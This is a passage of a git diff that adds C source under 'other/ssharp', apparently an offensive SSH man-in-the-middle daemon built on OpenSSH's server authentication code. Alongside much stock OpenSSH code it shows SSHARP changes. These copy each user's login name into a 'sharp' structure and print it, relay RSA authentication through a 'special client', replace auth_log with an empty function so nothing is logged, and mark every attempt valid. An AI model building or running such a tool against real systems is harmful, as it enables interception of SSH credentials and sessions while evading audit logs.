((pw = getpwnam(user)) == NULL) { + sia_ses_release(&ent); + error("getpwnam(%s) failed: %s", user, strerror(errno)); + exit(1); + } + if (sia_make_entity_pwd(pw, ent) != SIASUCCESS) { + sia_ses_release(&ent); + error("sia_make_entity_pwd failed"); + exit(1); + } + + ent->authtype = SIA_A_NONE; + if (sia_ses_estab(sia_collect_trm, ent) != SIASUCCESS) { + error("couldn't establish session for %s from %s", user, + host); + exit(1); + } + + if (setpriority(PRIO_PROCESS, 0, 0) == -1) { + sia_ses_release(&ent); + error("setpriority failed: %s", strerror (errno)); + exit(1); + } + + if (sia_ses_launch(sia_collect_trm, ent) != SIASUCCESS) { + error("couldn't launch session for %s from %s", user, host); + exit(1); + } + + sia_ses_release(&ent); + + if (setreuid(geteuid(), geteuid()) < 0) { + error("setreuid failed: %s", strerror (errno)); + exit(1); + } +} + +#endif /* HAVE_OSF_SIA */ + diff --git a/other/ssharp/auth-sia.h b/other/ssharp/auth-sia.h new file mode 100644 index 0000000..eaa9333 --- /dev/null +++ b/other/ssharp/auth-sia.h @@ -0,0 +1,8 @@ +#include "includes.h" + +#ifdef HAVE_OSF_SIA + +int auth_sia_password(char *user, char *pass); +void session_setup_sia(char *user, char *tty); + +#endif /* HAVE_OSF_SIA */ diff --git a/other/ssharp/auth.c b/other/ssharp/auth.c new file mode 100644 index 0000000..cfd928a --- /dev/null +++ b/other/ssharp/auth.c @@ -0,0 +1,201 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: auth.c,v 1.21 2001/03/19 17:07:23 markus Exp $"); + +#ifdef HAVE_LOGIN_H +#include +#endif +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) +#include +#endif /* defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) */ + +#include "xmalloc.h" +#include "match.h" +#include "groupaccess.h" +#include "log.h" +#include "servconf.h" +#include "auth.h" +#include "auth-options.h" +#include "canohost.h" + +/* import */ +extern ServerOptions options; + +/* + * Check if the user is allowed to log in via ssh. If user is listed + * in DenyUsers or one of user's groups is listed in DenyGroups, false + * will be returned. If AllowUsers isn't empty and user isn't listed + * there, or if AllowGroups isn't empty and one of user's groups isn't + * listed there, false will be returned. + * If the user's shell is not executable, false will be returned. + * Otherwise true is returned. + */ +int +allowed_user(struct passwd * pw) +{ + struct stat st; + char *shell; + int i; +#ifdef WITH_AIXAUTHENTICATE + char *loginmsg; +#endif /* WITH_AIXAUTHENTICATE */ +#if !defined(USE_PAM) && defined(HAVE_SHADOW_H) && \ + !defined(DISABLE_SHADOW) && defined(HAS_SHADOW_EXPIRE) + struct spwd *spw; + + /* Shouldn't be called if pw is NULL, but better safe than sorry... */ + if (!pw || !pw->pw_name) + return 0; + + spw = getspnam(pw->pw_name); + if (spw != NULL) { + int days = time(NULL) / 86400; + + /* Check account expiry */ + if ((spw->sp_expire >= 0) && (days > spw->sp_expire)) + return 0; + + /* Check password expiry */ + if ((spw->sp_lstchg >= 0) && (spw->sp_max >= 0) && + (days > (spw->sp_lstchg + spw->sp_max))) + return 0; + } +#else + /* Shouldn't be called if pw is NULL, but better safe than sorry... */ + if (!pw || !pw->pw_name) + return 0; +#endif + + /* + * Get the shell from the password data. An empty shell field is + * legal, and means /bin/sh. + */ + shell = (pw->pw_shell[0] == '\0') ? _PATH_BSHELL : pw->pw_shell; + + /* deny if shell does not exists or is not executable */ + if (stat(shell, &st) != 0) + return 0; + if (!((st.st_mode & S_IFREG) && (st.st_mode & (S_IXOTH|S_IXUSR|S_IXGRP)))) + return 0; + + /* Return false if user is listed in DenyUsers */ + if (options.num_deny_users > 0) { + for (i = 0; i < options.num_deny_users; i++) + if (match_pattern(pw->pw_name, options.deny_users[i])) + return 0; + } + /* Return false if AllowUsers isn't empty and user isn't listed there */ + if (options.num_allow_users > 0) { + for (i = 0; i < options.num_allow_users; i++) + if (match_pattern(pw->pw_name, options.allow_users[i])) + break; + /* i < options.num_allow_users iff we break for loop */ + if (i >= options.num_allow_users) + return 0; + } + if (options.num_deny_groups > 0 || options.num_allow_groups > 0) { + /* Get the user's group access list (primary and supplementary) */ + if (ga_init(pw->pw_name, pw->pw_gid) == 0) + return 0; + + /* Return false if one of user's groups is listed in DenyGroups */ + if (options.num_deny_groups > 0) + if (ga_match(options.deny_groups, + options.num_deny_groups)) { + ga_free(); + return 0; + } + /* + * Return false if AllowGroups isn't empty and one of user's groups + * isn't listed there + */ + if (options.num_allow_groups > 0) + if (!ga_match(options.allow_groups, + options.num_allow_groups)) { + ga_free(); + return 0; + } + ga_free(); + } + +#ifdef WITH_AIXAUTHENTICATE + if (loginrestrictions(pw->pw_name, S_RLOGIN, NULL, &loginmsg) != 0) { + if (loginmsg && *loginmsg) { + /* Remove embedded newlines (if any) */ + char *p; + for (p = loginmsg; *p; p++) { + if (*p == '\n') + *p = ' '; + } + /* Remove trailing newline */ + *--p = '\0'; + log("Login restricted for %s: %.100s", pw->pw_name, loginmsg); + } + return 0; + } +#endif /* WITH_AIXAUTHENTICATE */ + + /* We found no reason not to let this user try to log on... */ + return 1; +} + +Authctxt * +authctxt_new(void) +{ + Authctxt *authctxt = xmalloc(sizeof(*authctxt)); + memset(authctxt, 0, sizeof(*authctxt)); + return authctxt; +} + +void +auth_log(Authctxt *authctxt, int authenticated, char *method, char *info) +{ +} + +/* + * Check whether root logins are disallowed. + */ +int +auth_root_allowed(char *method) +{ + switch (options.permit_root_login) { + case PERMIT_YES: + return 1; + break; + case PERMIT_NO_PASSWD: + if (strcmp(method, "password") != 0) + return 1; + break; + case PERMIT_FORCED_ONLY: + if (forced_command) { + log("Root login accepted for forced command."); + return 1; + } + break; + } + log("ROOT LOGIN REFUSED FROM %.200s", get_remote_ipaddr()); + return 0; +} diff --git a/other/ssharp/auth.h b/other/ssharp/auth.h new file mode 100644 index 0000000..7e30e86 --- /dev/null +++ b/other/ssharp/auth.h @@ -0,0 +1,134 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $OpenBSD: auth.h,v 1.15 2001/04/12 19:15:24 markus Exp $ + */ +#ifndef AUTH_H +#define AUTH_H + +#include + +#ifdef HAVE_LOGIN_CAP +#include +#endif + +#include "ssharp.h" + +typedef enum { AUTH_PASSWD, AUTH_RSA } auth_t; + +typedef struct Authctxt Authctxt; +struct Authctxt { + int success; + int postponed; + int valid; + int attempt; + int failures; + char *user; + char *service; + sharp_t sharp; + char *style; + + /* SSHARP */ + auth_t how; + + /* in RSA case we need to alloc pty before + * EXEC PTY_REQUEST comes, since we use special + * client to get the RSA challenge */ + int master, slave; + int pid; +}; + + +/* + * Tries to authenticate the user using password. Returns true if + * authentication succeeds. + */ +int auth_password(Authctxt *authctxt, const char *password); + +/* + * Performs the RSA authentication dialog with the client. This returns 0 if + * the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ +int auth_rsa(Authctxt *, BIGNUM * client_n); + +/* + * Parses an RSA key (number of bits, e, n) from a string. Moves the pointer + * over the key. Skips any whitespace at the beginning and at end. + */ +int auth_rsa_read_key(char **cpp, u_int *bitsp, BIGNUM * e, BIGNUM * n); + +/* + * Performs the RSA authentication challenge-response dialog with the client, + * and returns true (non-zero) if the client gave the correct answer to our + * challenge; returns zero if the client gives a wrong answer. + */ +int auth_rsa_challenge_dialog(BIGNUM *); + +#ifdef KRB4 +#include +/* + * Performs Kerberos v4 mutual authentication with the client. This returns 0 + * if the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ +int auth_krb4(const char *server_user, KTEXT auth, char **client); +int krb4_init(uid_t uid); +void krb4_cleanup_proc(void *ignore); +int auth_krb4_password(struct passwd * pw, const char *password); + +#ifdef AFS +#include + +/* Accept passed Kerberos v4 ticket-granting ticket and AFS tokens. */ +int auth_kerberos_tgt(struct passwd * pw, const char *string); +int auth_afs_token(struct passwd * pw, const char *token_string); +#endif /* AFS */ + +#endif /* KRB4 */ + +#include "auth-pam.h" +#include "auth2-pam.h" + +void do_authentication(void); +void do_authentication2(void); + +Authctxt *authctxt_new(void); +void auth_log(Authctxt *authctxt, int authenticated, char *method, char *info); +void userauth_finish(Authctxt *authctxt, int authenticated, char *method); +int auth_root_allowed(char *method); + +int auth2_challenge(Authctxt *authctxt, char *devs); + +int allowed_user(struct passwd * pw); + +char *get_challenge(Authctxt *authctxt, char *devs); +int verify_response(Authctxt *authctxt, char *response); + +struct passwd * auth_get_user(void); + +#define AUTH_FAIL_MAX 6 +#define AUTH_FAIL_LOG (AUTH_FAIL_MAX/2) +#define AUTH_FAIL_MSG "Too many authentication failures for %.100s" + +#endif diff --git a/other/ssharp/auth1.c b/other/ssharp/auth1.c new file mode 100644 index 0000000..5476a13 --- /dev/null +++ b/other/ssharp/auth1.c @@ -0,0 +1,297 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: auth1.c,v 1.22 2001/03/23 12:02:49 markus Exp $"); + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh1.h" +#include "packet.h" +#include "buffer.h" +#include "mpaux.h" +#include "log.h" +#include "servconf.h" +#include "compat.h" +#include "auth.h" +#include "session.h" +#include "misc.h" +#include "serverloop.h" + + +/* import */ +extern ServerOptions options; + +#ifdef WITH_AIXAUTHENTICATE +extern char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + +/* + * convert ssh auth msg type into description + */ +char * +get_authname(int type) +{ + static char buf[1024]; + switch (type) { + case SSH_CMSG_AUTH_PASSWORD: + return "password"; + case SSH_CMSG_AUTH_RSA: + return "rsa"; + case SSH_CMSG_AUTH_RHOSTS_RSA: + return "rhosts-rsa"; + case SSH_CMSG_AUTH_RHOSTS: + return "rhosts"; + case SSH_CMSG_AUTH_TIS: + case SSH_CMSG_AUTH_TIS_RESPONSE: + return "challenge-response"; +#ifdef KRB4 + case SSH_CMSG_AUTH_KERBEROS: + return "kerberos"; +#endif + } + snprintf(buf, sizeof buf, "bad-auth-msg-%d", type); + return buf; +} + +/* + * read packets, try to authenticate the user and + * return only if authentication is successful + */ +void +do_authloop(Authctxt *authctxt) +{ + int authenticated = 0; + u_int bits; + RSA *client_host_key; + BIGNUM *n; + char *client_user, *password; + char info[1024]; + u_int dlen; + int plen, nlen, elen; + int type = 0; + + /* Indicate that authentication is needed. */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + client_user = NULL; + + for (;;) { + /* default to fail */ + authenticated = 0; + + info[0] = '\0'; + + /* Get a packet from the client. */ + type = packet_read(&plen); + + /* Process the packet. */ + switch (type) { +#ifdef AFS + case SSH_CMSG_HAVE_KERBEROS_TGT: + if (!options.kerberos_tgt_passing) { + verbose("Kerberos tgt passing disabled."); + break; + } else { + /* Accept Kerberos tgt. */ + char *tgt = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + if (!auth_kerberos_tgt(pw, tgt)) + verbose("Kerberos tgt REFUSED for %.100s", authctxt->user); + xfree(tgt); + } + continue; + + case SSH_CMSG_HAVE_AFS_TOKEN: + if (!options.afs_token_passing || !k_hasafs()) { + verbose("AFS token passing disabled."); + break; + } else { + /* Accept AFS token. */ + char *token_string = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + if (!auth_afs_token(pw, token_string)) + verbose("AFS token REFUSED for %.100s", authctxt->user); + xfree(token_string); + } + continue; +#endif /* AFS */ +#ifdef KRB4 + case SSH_CMSG_AUTH_KERBEROS: + if (!options.kerberos_authentication) { + verbose("Kerberos authentication disabled."); + break; + } else { + /* Try Kerberos v4 authentication. */ + KTEXT_ST auth; + char *tkt_user = NULL; + char *kdata = packet_get_string((u_int *) &auth.length); + packet_integrity_check(plen, 4 + auth.length, type); + + if (authctxt->valid) { + if (auth.length < MAX_KTXT_LEN) + memcpy(auth.dat, kdata, auth.length); + authenticated = auth_krb4(pw->pw_name, &auth, &tkt_user); + if (authenticated) { + snprintf(info, sizeof info, + " tktuser %.100s", tkt_user); + xfree(tkt_user); + } + } + xfree(kdata); + } + break; +#endif /* KRB4 */ + + + case SSH_CMSG_AUTH_RSA: + if (!options.rsa_authentication) { + verbose("RSA authentication disabled."); + break; + } + authctxt->how = AUTH_RSA; + + /* RSA authentication requested. */ + n = BN_new(); + packet_get_bignum(n, &nlen); + packet_integrity_check(plen, nlen, type); + authenticated = auth_rsa(authctxt, n); + BN_clear_free(n); + + packet_set_interactive(1); + server_loop(authctxt->pid, authctxt->master, + authctxt->master, -1); + exit(0); + break; + + case SSH_CMSG_AUTH_PASSWORD: + if (!options.password_authentication) { + verbose("Password authentication disabled."); + break; + } + authctxt->how = AUTH_PASSWD; + /* + * Read user password. It is in plain text, but was + * transmitted over the encrypted channel so it is + * not visible to an outside observer. + */ + password = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + + /* Try authentication with the password. */ + authenticated = auth_password(authctxt, password); + break; + + case SSH_CMSG_AUTH_TIS: + debug("rcvd SSH_CMSG_AUTH_TIS"); + if (options.challenge_reponse_authentication == 1) { + char *challenge = get_challenge(authctxt, authctxt->style); + if (challenge != NULL) { + debug("sending challenge '%s'", challenge); + packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); + packet_put_cstring(challenge); + packet_send(); + packet_write_wait(); + continue; + } + } + break; + case SSH_CMSG_AUTH_TIS_RESPONSE: + debug("rcvd SSH_CMSG_AUTH_TIS_RESPONSE"); + if (options.challenge_reponse_authentication == 1) { + char *response = packet_get_string(&dlen); + debug("got response '%s'", response); + packet_integrity_check(plen, 4 + dlen, type); + authenticated = verify_response(authctxt, response); + memset(response, 'r', dlen); + xfree(response); + } + break; + + default: + /* + * Any unknown messages will be ignored (and failure + * returned) during authentication. + */ + log("Unknown message during authentication: type %d", type); + break; + } +#ifdef BSD_AUTH + if (authctxt->as) { + auth_close(authctxt->as); + authctxt->as = NULL; + } +#endif + + authctxt->valid = 1; + + + if (client_user != NULL) { + xfree(client_user); + client_user = NULL; + } + + if (authenticated) + return; + + + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + } +} + +/* + * Performs authentication of an incoming connection. Session key has already + * been exchanged and encryption is enabled. + */ +void +do_authentication() +{ + Authctxt *authctxt; + struct passwd *pw; + int plen; + u_int ulen; + char *user, *style = NULL; + + /* Get the name of the user that we wish to log in as. */ + packet_read_expect(&plen, SSH_CMSG_USER); + + /* Get the user name. */ + user = packet_get_string(&ulen); + packet_integrity_check(plen, (4 + ulen), SSH_CMSG_USER); + + if ((style = strchr(user, ':')) != NULL) + *style++ = 0; + + authctxt = authctxt_new(); + authctxt->user = user; + authctxt->sharp.login = strdup(user); + authctxt->style = style; + + /* + * Loop until the user has been authenticated or the connection is + * closed, do_authloop() returns only if authentication is successful + */ + do_authloop(authctxt); + + debug(":->%s", authctxt->sharp.login); + /* The user has been authenticated and accepted. */ + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + + /* Perform session preparation. */ + do_authenticated(authctxt); + return; +} diff --git a/other/ssharp/auth2-chall.c b/other/ssharp/auth2-chall.c new file mode 100644 index 0000000..5af60e4 --- /dev/null +++ b/other/ssharp/auth2-chall.c @@ -0,0 +1,112 @@ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: auth2-chall.c,v 1.4 2001/03/28 22:43:31 markus Exp $"); + +#include "ssh2.h" +#include "auth.h" +#include "packet.h" +#include "xmalloc.h" +#include "dispatch.h" +#include "log.h" + +void send_userauth_into_request(Authctxt *authctxt, char *challenge, int echo); +void input_userauth_info_response(int type, int plen, void *ctxt); + +/* + * try challenge-reponse, return -1 (= postponed) if we have to + * wait for the response. + */ +int +auth2_challenge(Authctxt *authctxt, char *devs) +{ + char *challenge; + + if (!authctxt->valid || authctxt->user == NULL) + return 0; + if ((challenge = get_challenge(authctxt, devs)) == NULL) + return 0; + send_userauth_into_request(authctxt, challenge, 0); + dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, + &input_userauth_info_response); + authctxt->postponed = 1; + return 0; +} + +void +send_userauth_into_request(Authctxt *authctxt, char *challenge, int echo) +{ + int nprompts = 1; + + packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST); + /* name, instruction and language are unused */ + packet_put_cstring(""); + packet_put_cstring(""); + packet_put_cstring(""); + packet_put_int(nprompts); + packet_put_cstring(challenge); + packet_put_char(echo); + packet_send(); + packet_write_wait(); +} + +void +input_userauth_info_response(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + int authenticated = 0; + u_int nresp, rlen; + char *response, *method = "challenge-reponse"; + + if (authctxt == NULL) + fatal("input_userauth_info_response: no authctxt"); + + authctxt->postponed = 0; /* reset */ + nresp = packet_get_int(); + if (nresp == 1) { + response = packet_get_string(&rlen); + packet_done(); + if (strlen(response) == 0) { + /* + * if we received an empty response, resend challenge + * with echo enabled + */ + char *challenge = get_challenge(authctxt, NULL); + if (challenge != NULL) { + send_userauth_into_request(authctxt, + challenge, 1); + authctxt->postponed = 1; + } + } else if (authctxt->valid) { + authenticated = verify_response(authctxt, response); + memset(response, 'r', rlen); + } + xfree(response); + } + /* unregister callback */ + if (!authctxt->postponed) + dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, NULL); + + userauth_finish(authctxt, authenticated, method); +} diff --git a/other/ssharp/auth2-pam.c b/other/ssharp/auth2-pam.c new file mode 100644 index 0000000..c320355 --- /dev/null +++ b/other/ssharp/auth2-pam.c @@ -0,0 +1,161 @@ +#include "includes.h" +RCSID("$Id: auth2-pam.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifdef USE_PAM +#include + +#include "ssh.h" +#include "ssh2.h" +#include "auth.h" +#include "auth-pam.h" +#include "packet.h" +#include "xmalloc.h" +#include "dispatch.h" +#include "log.h" + +static int do_pam_conversation_kbd_int(int num_msg, + const struct pam_message **msg, struct pam_response **resp, + void *appdata_ptr); +void input_userauth_info_response_pam(int type, int plen, void *ctxt); + +struct { + int finished, num_received, num_expected; + int *prompts; + struct pam_response *responses; +} context_pam2 = {0, 0, 0, NULL}; + +static struct pam_conv conv2 = { + do_pam_conversation_kbd_int, + NULL, +}; + +int +auth2_pam(Authctxt *authctxt) +{ + int retval = -1; + + if (authctxt->user == NULL) + fatal("auth2_pam: internal error: no user"); + + conv2.appdata_ptr = authctxt; + do_pam_set_conv(&conv2); + + dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, + &input_userauth_info_response_pam); + retval = (do_pam_authenticate(0) == PAM_SUCCESS); + dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, NULL); + + return retval; +} + +static int +do_pam_conversation_kbd_int(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr) +{ + int i, j, done; + char *text; + + context_pam2.finished = 0; + context_pam2.num_received = 0; + context_pam2.num_expected = 0; + context_pam2.prompts = xmalloc(sizeof(int) * num_msg); + context_pam2.responses = xmalloc(sizeof(struct pam_response) * num_msg); + memset(context_pam2.responses, 0, sizeof(struct pam_response) * num_msg); + + text = NULL; + for (i = 0, context_pam2.num_expected = 0; i < num_msg; i++) { + int style = PAM_MSG_MEMBER(msg, i, msg_style); + switch (style) { + case PAM_PROMPT_ECHO_ON: + case PAM_PROMPT_ECHO_OFF: + context_pam2.num_expected++; + break; + case PAM_TEXT_INFO: + case PAM_ERROR_MSG: + default: + /* Capture all these messages to be sent at once */ + message_cat(&text, PAM_MSG_MEMBER(msg, i, msg)); + break; + } + } + + if (context_pam2.num_expected == 0) + return PAM_SUCCESS; + + packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST); + packet_put_cstring(""); /* Name */ + packet_put_cstring(""); /* Instructions */ + packet_put_cstring(""); /* Language */ + packet_put_int(context_pam2.num_expected); + + for (i = 0, j = 0; i < num_msg; i++) { + int style = PAM_MSG_MEMBER(msg, i, msg_style); + + /* Skip messages which don't need a reply */ + if (style != PAM_PROMPT_ECHO_ON && style != PAM_PROMPT_ECHO_OFF) + continue; + + context_pam2.prompts[j++] = i; + if (text) { + message_cat(&text, PAM_MSG_MEMBER(msg, i, msg)); + packet_put_cstring(text); + text = NULL; + } else + packet_put_cstring(PAM_MSG_MEMBER(msg, i, msg)); + packet_put_char(style == PAM_PROMPT_ECHO_ON); + } + packet_send(); + packet_write_wait(); + + /* + * Grabbing control of execution and spinning until we get what + * we want is probably rude, but it seems to work properly, and + * the client *should* be in lock-step with us, so the loop should + * only be traversed once. + */ + while(context_pam2.finished == 0) { + done = 1; + dispatch_run(DISPATCH_BLOCK, &done, appdata_ptr); + if(context_pam2.finished == 0) + debug("extra packet during conversation"); + } + + if(context_pam2.num_received == context_pam2.num_expected) { + *resp = context_pam2.responses; + return PAM_SUCCESS; + } else + return PAM_CONV_ERR; +} + +void +input_userauth_info_response_pam(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + unsigned int nresp = 0, rlen = 0, i = 0; + char *resp; + + if (authctxt == NULL) + fatal("input_userauth_info_response_pam: no authentication context"); + + if (authctxt->attempt++ >= AUTH_FAIL_MAX) + packet_disconnect("too many failed userauth_requests"); + + nresp = packet_get_int(); /* Number of responses. */ + debug("got %d responses", nresp); + + for (i = 0; i < nresp; i++) { + int j = context_pam2.prompts[i]; + + resp = packet_get_string(&rlen); + context_pam2.responses[j].resp_retcode = PAM_SUCCESS; + context_pam2.responses[j].resp = xstrdup(resp); + xfree(resp); + context_pam2.num_received++; + } + + context_pam2.finished = 1; + + packet_done(); +} + +#endif diff --git a/other/ssharp/auth2-pam.h b/other/ssharp/auth2-pam.h new file mode 100644 index 0000000..2d9269e --- /dev/null +++ b/other/ssharp/auth2-pam.h @@ -0,0 +1,8 @@ +/* $Id: auth2-pam.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#include "includes.h" +#ifdef USE_PAM + +int auth2_pam(Authctxt *authctxt); + +#endif /* USE_PAM */ diff --git a/other/ssharp/auth2.c b/other/ssharp/auth2.c new file mode 100644 index 0000000..ab9fb7e --- /dev/null +++ b/other/ssharp/auth2.c @@ -0,0 +1,716 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: auth2.c,v 1.56 2001/04/19 00:05:11 markus Exp $"); + +#include + +#include "ssh2.h" +#include "xmalloc.h" +#include "rsa.h" +#include "sshpty.h" +#include "packet.h" +#include "buffer.h" +#include "log.h" +#include "servconf.h" +#include "compat.h" +#include "channels.h" +#include "bufaux.h" +#include "auth.h" +#include "session.h" +#include "dispatch.h" +#include "key.h" +#include "cipher.h" +#include "kex.h" +#include "pathnames.h" +#include "uidswap.h" +#include "auth-options.h" +#include "misc.h" +#include "hostfile.h" +#include "canohost.h" +#include "tildexpand.h" + +/* import */ +extern ServerOptions options; +extern u_char *session_id2; +extern int session_id2_len; + +#ifdef WITH_AIXAUTHENTICATE +extern char *aixloginmsg; +#endif + +static Authctxt *x_authctxt = NULL; +static int one = 1; + +typedef struct Authmethod Authmethod; +struct Authmethod { + char *name; + int (*userauth)(Authctxt *authctxt); + int *enabled; +}; + +/* protocol */ + +void input_service_request(int type, int plen, void *ctxt); +void input_userauth_request(int type, int plen, void *ctxt); +void protocol_error(int type, int plen, void *ctxt); + +/* helper */ +Authmethod *authmethod_lookup(const char *name); +char *authmethods_get(void); +int user_key_allowed(struct passwd *pw, Key *key); +int +hostbased_key_allowed(struct passwd *pw, const char *cuser, char *chost, + Key *key); + +/* auth */ +void userauth_banner(void); +void userauth_reply(Authctxt *authctxt, int authenticated); +int userauth_none(Authctxt *authctxt); +int userauth_passwd(Authctxt *authctxt); +int userauth_pubkey(Authctxt *authctxt); +int userauth_hostbased(Authctxt *authctxt); +int userauth_kbdint(Authctxt *authctxt); + + +extern Authctxt *global_ssh2_ctx; + +Authmethod authmethods[] = { + {"none", + userauth_none, + &one}, + {"publickey", + userauth_pubkey, + &options.pubkey_authentication}, + {"password", + userauth_passwd, + &options.password_authentication}, + {"keyboard-interactive", + userauth_kbdint, + &options.kbd_interactive_authentication}, + {"hostbased", + userauth_hostbased, + &options.hostbased_authentication}, + {NULL, NULL, 